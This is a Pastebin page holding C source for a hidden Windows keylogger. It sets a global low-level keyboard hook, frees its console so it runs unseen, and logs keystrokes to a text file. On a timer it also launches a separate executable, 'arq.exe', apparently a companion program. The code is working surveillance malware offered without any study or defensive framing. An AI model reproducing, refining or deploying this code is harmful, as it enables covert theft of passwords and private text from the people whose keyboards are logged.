Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <time.h>
- #include <Windows.h>
- #include <wincon.h>
- #include <stdio.h>
- #define _WIN32_WINNT 0x0500
- HHOOK hook;
- KBDLLHOOKSTRUCT kbdStruct;
- int minuto = 0, hora, min2;
- int showHours (){
- struct tm * timeInfo;
- time_t rawtime;
- time (&rawtime);
- timeInfo = localtime ( &rawtime );
- if (minuto == 0){
- minuto = timeInfo->tm_min;
- return 1;
- }
- minuto = timeInfo->tm_min;
- hora = timeInfo->tm_hour;
- if (minuto-40 == min2){
- return 1;
- }
- //printf("%d", timeInfo->tm_min);
- }
- LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
- {
- int booll = 0;
- booll = showHours();
- if (booll == 1){
- if (minuto >= 20){
- min2 = minuto-60;
- }
- min2 = minuto;
- system("arq.exe");
- }
- FILE *pFile;
- pFile = fopen("smt.txt", "a+");
- if ((nCode >= 0) && wParam == WM_KEYDOWN)
- {
- kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
- if (kbdStruct.vkCode == 3) fprintf(pFile, " cancel ");
- if (kbdStruct.vkCode == 8) fprintf(pFile, " backspace ");
- if (kbdStruct.vkCode == 12) fprintf(pFile, " cls ");
- if (kbdStruct.vkCode == VK_SHIFT) fprintf(pFile, " shift ");
- if (kbdStruct.vkCode == 20) fprintf(pFile, " caps ");
- if (kbdStruct.vkCode == 27) fprintf(pFile, " esc ");
- if (kbdStruct.vkCode == 32) fprintf(pFile, " ");
- if (kbdStruct.vkCode == 35) fprintf(pFile, " end ");
- if (kbdStruct.vkCode == 36) fprintf(pFile, " home ");
- if (kbdStruct.vkCode == 46) fprintf(pFile, " del ");
- if (kbdStruct.vkCode == 65) fprintf(pFile, "a");
- if (kbdStruct.vkCode == 66) fprintf(pFile, "b");
- if (kbdStruct.vkCode == 67) fprintf(pFile, "c");
- if (kbdStruct.vkCode == 68) fprintf(pFile, "d");
- if (kbdStruct.vkCode == 69) fprintf(pFile, "e");
- if (kbdStruct.vkCode == 70) fprintf(pFile, "f");
- if (kbdStruct.vkCode == 71) fprintf(pFile, "g");
- if (kbdStruct.vkCode == 72) fprintf(pFile, "h");
- if (kbdStruct.vkCode == 73) fprintf(pFile, "i");
- if (kbdStruct.vkCode == 74) fprintf(pFile, "j");
- if (kbdStruct.vkCode == 75) fprintf(pFile, "k");
- if (kbdStruct.vkCode == 76) fprintf(pFile, "l");
- if (kbdStruct.vkCode == 77) fprintf(pFile, "m");
- if (kbdStruct.vkCode == 78) fprintf(pFile, "n");
- if (kbdStruct.vkCode == 79) fprintf(pFile, "o");
- if (kbdStruct.vkCode == 80) fprintf(pFile, "p");
- if (kbdStruct.vkCode == 81) fprintf(pFile, "q");
- if (kbdStruct.vkCode == 82) fprintf(pFile, "r");
- if (kbdStruct.vkCode == 83) fprintf(pFile, "s");
- if (kbdStruct.vkCode == 84) fprintf(pFile, "t");
- if (kbdStruct.vkCode == 85) fprintf(pFile, "u");
- if (kbdStruct.vkCode == 86) fprintf(pFile, "v");
- if (kbdStruct.vkCode == 87) fprintf(pFile, "w");
- if (kbdStruct.vkCode == 88) fprintf(pFile, "x");
- if (kbdStruct.vkCode == 89) fprintf(pFile, "y");
- if (kbdStruct.vkCode == 48 ||kbdStruct.vkCode == 96) fprintf(pFile, "0");
- if (kbdStruct.vkCode == 49 ||kbdStruct.vkCode == 97 ) fprintf(pFile, "1");
- if (kbdStruct.vkCode == 50 ||kbdStruct.vkCode == 98) fprintf(pFile, "2");
- if (kbdStruct.vkCode == 51 ||kbdStruct.vkCode == 99) fprintf(pFile, "3");
- if (kbdStruct.vkCode == 52 ||kbdStruct.vkCode == 100) fprintf(pFile, "4");
- if (kbdStruct.vkCode == 53 ||kbdStruct.vkCode == 101) fprintf(pFile, "5");
- if (kbdStruct.vkCode == 54 ||kbdStruct.vkCode == 102) fprintf(pFile, "6");
- if (kbdStruct.vkCode == 55 ||kbdStruct.vkCode == 103) fprintf(pFile, "7");
- if (kbdStruct.vkCode == 56 ||kbdStruct.vkCode == 104) fprintf(pFile, "8");
- if (kbdStruct.vkCode == 57 ||kbdStruct.vkCode == 105) fprintf(pFile, "9");
- if (kbdStruct.vkCode == 13) fprintf(pFile, "\n");
- }
- fclose(pFile);
- return CallNextHookEx(hook, nCode, wParam, lParam);
- }
- void SetHook()
- {
- if (!(hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0)))
- {
- printf("Erro");
- }
- }
- void Unhook()
- {
- UnhookWindowsHookEx(hook);
- }
- int main()
- {
- FreeConsole();
- MSG msg;
- SetHook();
- while (GetMessage(&msg, NULL, 0, 0)) { }
- Unhook();
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement